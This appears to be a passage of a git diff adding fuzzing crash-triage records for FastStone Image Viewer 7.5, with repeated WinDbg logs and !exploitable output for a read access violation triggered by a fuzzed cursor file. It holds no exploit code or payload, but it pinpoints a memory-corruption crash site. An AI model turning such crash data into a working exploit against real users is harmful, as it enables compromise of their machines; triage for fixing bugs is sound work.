/dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/11655/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/12642/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/12642/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/12642/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/12642/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/12642/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..01101a9 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/12642/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/12642/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/12642/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..2d71e90 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/12642/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1954: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1954: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1954.398): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=000fed2d ecx=07dd7b10 edx=00003879 esi=ffb30010 edi=0fc3cfd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.696011055487796320000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=7.17523e+025 6.63831e+012 -1.59176e+028 -1.11438e-037 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07eb8130 07e35930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00220000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00220000 ae098657 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d6291 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00220000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/12642/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/12642/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..2d71e90 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/12642/WindowsDebugEngine_description.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1954: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1954: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1954.398): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=000fed2d ecx=07dd7b10 edx=00003879 esi=ffb30010 edi=0fc3cfd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.696011055487796320000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=7.17523e+025 6.63831e+012 -1.59176e+028 -1.11438e-037 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07eb8130 07e35930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00220000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00220000 ae098657 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d6291 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00220000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 